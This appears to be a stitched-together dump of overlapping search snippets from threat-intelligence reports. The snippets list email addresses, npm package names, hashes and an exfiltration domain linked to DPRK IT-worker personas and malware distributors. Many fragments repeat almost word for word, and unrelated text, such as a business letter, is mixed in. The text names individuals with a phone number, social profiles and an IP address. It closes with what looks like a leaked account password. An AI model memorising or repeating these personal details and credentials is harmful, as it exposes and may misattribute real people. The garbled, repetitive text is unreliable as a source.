dyanisteras15091999cuunn@hotmail.com…","…devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com de…","…om devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com d…","…m devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.co…","…Vigorous Developer - supervenus0725 - SuperDev - Jason07250000 - venus07250000 - VigorousDevelopment524@gmail.com - dev.mania.639@gmail.com - venus07250000@gmail.com - github.com/vigorousdeveloper •…","…m devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlo…","…email insider N/A N/A Threat actor persona email 4 realnitii1@gmail.com email insider N/A N/A Threat actor persona email 4 devnitin18@gmail.com email insider N/A N/A Threat actor persona email 4 alexiyevaj@gmail.com email insider N/A N/A Threat actor persona email 4…","…un28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gmail.com dev@flosports.tv developer789222@gmail.com devking877@gmail.com devondeveloper99@gmail.com fantasy971114@gmail.com ferix.moore@gmail.com freshtinygrow@gmail.com geniusdev1108@gmail.com goldendev726@gmail.com jacob.rd.dev@gma…","…daveysellshomes47484@gmail.com dawsonspaces08839@gmail.com dazzlebitcorp62317@gmail.com dealmakersclub92647@outlook.com devonventureinvest81368@gmail.com dhruvishah05828@outlook.com digitalhomesales97117@gmail.com dmitrypetrov71155@outlook.com elitecapitalgroup08563@gmail.com…","….com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@g…","…il.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail…","….com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@g…","…l.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com d…","…s@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi07…","…adonis_eros@outlook.com brightstar1116@outlook.com buyerlao@outlook.com casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com…","…![](./anderson-lee-jack-lin-2.jpg) - ![](./X_2025-11-22_jaclindev99.png) #### Chris Yon - wdev733 - wdev733@gmail.com - devstar.sky20@gmail.com - github.com/cydn95 - 204.44.106.96 - t.me/micry 1012606692 - x.com/adchy2000 - t.me/wdev733 - t.me/dss2000 -…","…om devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.co…","…11@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazv…","…m devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com di…","…evmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director…","…2026-08-17 core-tailwindcss-utility (3.7.1) 2026-08-17 dev.tech1155 <dev.tech1155@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…08@gmail.com devphoenix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com diron…","…ix092@gmail.com devscottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk…","…ces@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert187…","…cottmiller@gmail.com devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com d…","…dawsonspaces08839@gmail.com dazzlebitcorp62317@gmail.com dealmakersclub92647@outlook.com devonventureinvest81368@gmail.com dhruvishah05828@outlook.com digitalhomesales97117@gmail.com dmitrypetrov71155@outlook.com elitecapitalgroup08563@gmail.com emmahousingexpert87469@gmail.com…","…6.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@codeninja819.anonaddy.com BlackMustang0430@outlook.com ChrisGraham1215@skiff.com DiamondDazzle@skiff.com FelixMorin1218@skiff.com Rivexavier085@gmail.com SECRETAGENT1025@GMAIL.COM ShinyBaros@outlook.com UpJobTest@skiff.com Upwork1229@skiff.com…","…dalbir@empowerpharmacy.space Email address Attacker-controlled email address April 2026 dianaberendi@nxlog.tech Email address Attacker-controlled email address April 2026 gusb@ondofinance.tech Email address…","…Year in Review snowl3784@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review dieterwang@proton.me email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review cesarpassos4808@gmail.com email malware N/A…","…dazzlebitcorp62317@gmail.com dealmakersclub92647@outlook.com devonventureinvest81368@gmail.com dhruvishah05828@outlook.com digitalhomesales97117@gmail.com dmitrypetrov71155@outlook.com elitecapitalgroup08563@gmail.com emmahousingexpert87469@gmail.com emmawills02165@gmail.com…","…tracing-str-2.0.3.tgz hsdf22-tracing-ethers.vercel.app 2026-03-09 19:25:48 ts-lint-builder (v1.0.9) digoschristiann (di.gos.c.hristia.n.n@googlemail.com) ts-lint-builder-1.0.9.tgz exfil: cloudflareinsights.vercel.app 2026-03-06 08:00:33 pino-pretty-log (v1.0.0) comet1234…","…m devsunshine89@gmail.com devsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto…","…\"Tarrance\" Tuson - github.com/leionion ### shinytechapes - shinytechapes - shinyapes - x.com/shinytechapes - github.com/shinyapes - dillonmarszalek@gmail.com - DillonGru28 - https://github.com/novustechllc - mirakulizicc@gmail.com: Novus Tech LLC --- ## Merlin Dex ### pos-ninja - Haruto Y. -…","…to CJSC Minsk Grape Wines Factory, they were received by the buyer (a copy of an e-mail dated 5 September 2018 from the carrier, dina.kolibaba@quehenberger.by, and a copy of the e-mail from the purchaser, dated 5 Sep-tember 2018, are attached). In conclusion, we would like to reiterate the…","…evsuperstar121@gmail.com devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf1…","…om devsuperstar121@outlook.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marsh…","…email insider N/A N/A Synthetic persona email 2 nadoyankovic@outlook.com email insider N/A N/A Synthetic persona email 2 dionizy.kohutek@outlook.com email insider N/A N/A Synthetic persona email 2 emilsvalina@outlook.com email insider N/A N/A Synthetic persona email 2…","…look.com devtop0109@gmail.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donate…","…l.com devtop617@gmail.com deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com…","…1222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@g…","…om deweb454@gmail.com dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.co…","…2 ====== johnathon.h.tneg18@gmail.com leptointel213@gmail.com clark.pickles30@proton.me dkwebigo416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmai…","…decovenjamin@gmail.com denise.ward0418@outlook.com desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com dv6305655@gmail.com dyanisteras15091999cuunn@hotmail.com…","…m dillon.lewis0102@gmail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.co…","…Threat actor proxy address (may be shared origin) 2 ryan.service.1001@gmail.com email insider N/A N/A Threat actor persona email 3 dmbdev800@gmail.com email insider N/A N/A Threat actor persona email 3 kari.dev1217@gmail email insider N/A N/A Threat actor persona email 3…","…hours/week 1 month Kim Tong U carlos@gmail.com carlos Mexico United States $45/hour, 40 hours/week - Pae Kwang Il dmd515@163.com dmd515@163. com - United States $40/hour, 40 hours/week - dmd515@163.com dmd515@163. com - - $30/hour - Pak Kwang…","…email insider N/A N/A Synthetic persona email 2 trendafilmakedonija001@outlook.com email insider N/A N/A Synthetic persona email 2 dmitrycebotari@outlook.com email insider N/A N/A Synthetic persona email 2 chrisgergo00@outlook.com email insider N/A N/A Synthetic persona email 2…","…dealmakersclub92647@outlook.com devonventureinvest81368@gmail.com dhruvishah05828@outlook.com digitalhomesales97117@gmail.com dmitrypetrov71155@outlook.com elitecapitalgroup08563@gmail.com emmahousingexpert87469@gmail.com emmawills02165@gmail.com eurekasales07505@gmail.com…","…2 qoneits@outlook.com email insider N/A N/A DPRK developer email 2 kitdb@outlook.com email insider N/A N/A DPRK developer email 2 d.musatovdv@gmail.com email insider N/A N/A DPRK developer email 2 nikola.radomic322@gmail.com email insider N/A N/A DPRK developer email 2…","…denise.ward0418@outlook.com desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com dv6305655@gmail.com dyanisteras15091999cuunn@hotmail.com elodieblanc0707@gmail.com…","…Email Addresses # h96452582@gmail.com devin.s@gedu.demo.ta-39.com csilvagalaxy87@gmail.com souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com stefanofrick2@gmail.com samuelhuggins3@gmail.com jgod19960520@outlook.com…","…The threat actor’s personal site lists the following contact information: Name: Dmytro Vivsuk Email: dmytroviv1@gmail.com Phone number: +380 95 676 27 42 LinkedIn: https://www.linkedin.com/in/dmytro-vivsuk-a568242b6/ (leads to a 404, likely banned…","…2026-08-27 tailwindcss-3d-animate (1.2.2) 2026-08-27 tobiloba1100 <dobas75264@ebflyai.com> ee1b4bdbbf3eb6a366598eafa183940e892d3ac3fea5a72f8431c723fe8aa2a8 2026-08-27 tailwindcss-3d-animate (1.2.1) 2026-08-27…","…email insider N/A N/A Synthetic persona email 2 albertdymek@outlook.com email insider N/A N/A Synthetic persona email 2 dobromirkovachev@outlook.com email insider N/A N/A Synthetic persona email 2 toma.andric@outlook.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Threat actor-controlled email 1 cpduran0622@gmail.com email insider N/A N/A Threat actor-controlled email 1 docker1001@outlook.com email insider N/A N/A Threat actor-controlled email 1 elvialc620@163.com email insider N/A N/A Threat actor-controlled email 1…","…Accounts used to register domains: • jasper.lewitton.official@gmail.com • dodson43210@protonmail.com • napoleonbgqo0977@gmail.com • kevinsanaraujo@gmail.com • daniel.castagnolii@gmail.com • ashockvaradharajan@gmail.com •…","…mail.com ding.w98106@gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gm…","…being used on the same system: aaron19101301@ gmail.com cryptofan1013@ gmail.com techsavvy001013@outlook.com domin61013@outlook.com rico.gonzalez1013@gmail.com Insikt Group also observed an email address on the operator's system that appears to be for a…","…email insider N/A N/A Synthetic persona email 2 tomislavbozic.work@outlook.com email insider N/A N/A Synthetic persona email 2 dominik.wojk@outlook.com email insider N/A N/A Synthetic persona email 2 piotrglowacki.pol@outlook.com email insider N/A N/A Synthetic persona email 2…","…gmail.com dinodev0101@gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@…","…Year in Review johnwatson2327a@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review donald.edler0626@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review chrisritter5272@outlook.com email malware N/A…","…onetouch0525@gmail.com - kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com - donatelo212dunccine@gmail.com - ernestpapyan@gmail.com - topsmartpro@prolocalize.com - yatsukalbert@outlook.com - talentdev610@gmail.com -…","…entjeremynel@gmail.com onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gm…","…il.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.…","…859f8450de820d002dc9b34c2691b1c8272d015aa423bdba17c87654a558b535 2026-09-29 esm-dotenv (1.0.1) 2026-09-29 oopslabuk <donebeingbrokelmao@proton.me> 68602ff5f85537f922b186ed58fb25316168e9c5d5d37a6bfa7c5f14de82ac07 6c38f6aea6e7951d53b92d7f947ece0d69a7114d1f4abf8d7196a6a21439f1a6…","…dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper…","…gmail.com director2010s@gmail.com dirono9656@eimatro.com dk5080201@gmail.com dlee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gma…","…email insider N/A N/A Synthetic persona email 2 iacovlevguzun@outlook.com email insider N/A N/A Synthetic persona email 2 dovydasmatis@outlook.com email insider N/A N/A Synthetic persona email 2 tomaskovacova@outlook.com email insider N/A N/A Synthetic persona email 2…","…lee59664@gmail.com dogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea…","…f126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragonti…","…all0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamca…","…millionsapphire@outlook.com[email protected] derekdev2023@outlook.com[email protected] garciav.dev@gmail.com[email protected] dragonfighter0115@outlook.com[email protected] fullstackdev1006@gmail.com[email protected] blockchaindev0227@gmail.com[email protected]…","…garciav.dev@gmail.com dragonfighter0115@outlook.com fullstackdev1006@gmail.com blockchaindev0227@gmail.com sotaro.yoshimoto@gmail.com super.dev1124@outlook.com justin309w@outlook.com pr…","…m paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang00…","…lo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamcons…","…josy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37…","…2.2 Identity Chain: Redsky500 - Dragonlee321 - GoldenDev321 2.3 Contact Information Extracted from Repository 2.4 - Commit Email: dragonlideveloper@gmail.com 3.…","…https://github.com/ProSeFraudCatcher/GoldenDev321/commit/0ff6c6e0bc60005bc8bc3cf8eda18c4626aeb31c.patch Figure 4 – Fork showing dragonlideveloper@gmain.com — typo variant of the Gmail address Two email variants of the same alias (gmail vs gmain) across different forks suggests deliberate…","…Rainbows in Abuja (Nigeria - Kim Yong Jin) Emails: --------------------------------- darkb761216@gmail.com dragonrhm0817@gmail.com star710928@gmail.com yz.demix@gmail.com marketing.rep@universalinsuranceplc.com shojokur@gmail.com Personas: -----------------------------…","…gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullsta…","…a.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws91…","…mail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990…","…ogakuto@givmail.com dom.wolf126@gmail.com don.marshall0308@gmail.com donatelo212dunccine@gmail.com donjosy305@gmail.com dp2genius@gmail.com dr.ak.e.seg.ua.l@gmail.com dragon99steel@gmail.com dragonblue927@gmail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.…","…(0.5.14) 2026-08-27 solo1100 <nejewah462@prodbits.com> 2026-08-27 eth-pino (2.0.3) 2026-08-27 dreaci <drdreacimi@gentleinfopath.com> 6ae47651f95735e18c7370aa04d1577ffbd19c20eed57729c777cac6d4a83f4b 2026-08-26 tailwindcss-3d-animate (1.1.0) 2026-08-26…","…ail.com dragonknight0522@gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassi…","…Here's a small sample: masterdev1027@gmail.com fulldev317@gmail.com codeknight0707@gmail.com seniordev9726@outlook.com dreamcomes0704@gmail.com topdev1228@protonmail.com helios0912@outlook.com smartfox1203@gmail.com \"star\", \"dev\", \"pro\", \"senior\", and \"coder\" are typical…","…gmail.com dragonlideveloper@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworkt…","…@gmail.com dragonsea145@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dream…","…45@gmail.com dragonslayer.feb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com dried…","…928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699…","…r070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gma…","…eb20@gmail.com dragontiger928@gmail.com dreamcareer070@gmail.com dreamconsolestar@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefo…","…e.dev1@gmail.com markuslaandream1218917@gmail.com hasibullahnasseri986@gmail.com CharlieWang1218917.dream@proton.me andriisokyrka@gmail.com dreamit.dev1218917@gmail.com stevenbakarich607@gmail.com larryjam.henry.iv@gmail.com FURTHER READING Regarding this, you can read the following articles to get a…","…denise.ward0418@outlook.com desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com dv6305655@gmail.com dyanisteras15091999cuunn@hotmail.com elodieblanc0707@gmail.com emilylida0923@outlook.com…","…@gmail.com dreamdev37@gmail.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.c…","…l.com dreamfullstacker@gmail.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8ty…","…account Year in Review hs8179189@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review dredsoft@proton.me email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review bloxdev1999@outlook.com email malware N/A July…","…# h96452582@gmail.com devin.s@gedu.demo.ta-39.com csilvagalaxy87@gmail.com souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com stefanofrick2@gmail.com samuelhuggins3@gmail.com jgod19960520@outlook.com…","…via threat hunting and other methods. Email addresses used to upload the malware to JSON storage services ahmadbahai07@gmail.com drgru854@gmail.com jack.murray.tf7@gmail.com jackhill2765@gmail.com reichenausteve@gmail.com magalhaesbruno236@gmail.com stromdev712418@gmail.com…","…alias cross-referenced with a second artifact from the Chrome Default profile: the primary account email address linked to the browser was drgru854@gmail.com[email protected] – primary by volume, with 1,669 inbox messages against 647 for the next account as of the acquisition date.…","…l.com dreamhigh.ws917@gmail.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8tydr4r@anonaddy.me eaglevisi…","…Review sallydunnet.business1016@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review dr.md.hubert.business916@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review tommyrole0301@gmail.com email malware N/A…","…l.com dreamhigh9990@gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8tydr4r@anonaddy.me eaglevision1120@gmail.com edm…","…gmail.com dreamhighpassionhigh@gmail.com dreamworktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8tydr4r@anonaddy.me eaglevision1120@gmail.com edmonddantes000313+1@gm…","…watercup123 comsuper0030@gmail.com qweQWE123!@# 